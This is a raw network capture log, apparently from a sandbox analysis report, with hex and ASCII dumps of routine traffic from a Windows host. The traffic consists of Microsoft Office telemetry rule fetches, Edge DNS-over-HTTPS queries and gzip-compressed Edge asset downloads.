2024-11-25 13:14:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:37 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: b12c7864-501e-007b-43bf-3e5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131437Z-178bfbc474bv587zhC1NYCny5w000000078000000000h1ed x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:37 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:37 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 5931471e-001e-0046-7a23-3dda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131437Z-174c587ffdfp4vpjhC1TEBybqw00000005wg00000000krq3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49789	172.64.41.3	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 13:14:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 40 00 0c 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcom)@<
2024-11-25 13:14:38 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 13:14:38 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e81e72419f10cba-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 13:14:38 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 03 00 00 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 0c b9 00 26 11 70 72 6f 64 2d 61 74 6d 2d 77 64 73 2d 65 64 67 65 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 41 00 05 00 01 00 00 01 2c 00 29 0f 70 72 6f 64 2d 61 67 69 63 2d 65 75 32 2d 31 07 65 61 73 74 75 73 32 08 63 6c 6f 75 64 61 70 70 05 61 7a 75 72 65 c0 2c c0 73 00 01 00 01 00 00 00 0a 00 04 04 99 1d 34 00 00 29 04 d0 00 00 00 00 01 1d 00 0c 01 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcom&prod-atm-wds-edgetrafficmanagernetA,)prod-agic-eu2-1eastus2cloudappazure,s4)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49809	162.159.61.3	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:38 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 13:14:38 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 13:14:38 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 13:14:38 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e81e72578941869-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 13:14:38 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 06 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:38 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:38 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 44e9982d-301e-001f-6639-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131438Z-15b8b599d88vp97chC1TEB5pzw00000005vg00000000gzwn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:38 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49812	13.107.246.40	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:39 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:40 UTC	583	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:39 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: d99e56cb-001e-006c-5c8a-3ec3d4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T131439Z-178bfbc474btrnf9hC1NYCb80g00000007pg000000009f1v Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 13:14:40 UTC	15801	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-25 13:14:40 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-11-25 13:14:40 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-11-25 13:14:40 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-11-25 13:14:40 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:39 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:39 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131439Z-174c587ffdfgcs66hC1TEB69cs00000005qg00000000qmuy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:40 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49811	13.107.246.40	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:39 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:40 UTC	577	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:39 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: b33c4d2f-f01e-005b-29f5-3e6f7b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T131439Z-15b8b599d88tmlzshC1TEB4xpn00000005t000000000hvhx Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 13:14:40 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-25 13:14:40 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-25 13:14:40 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 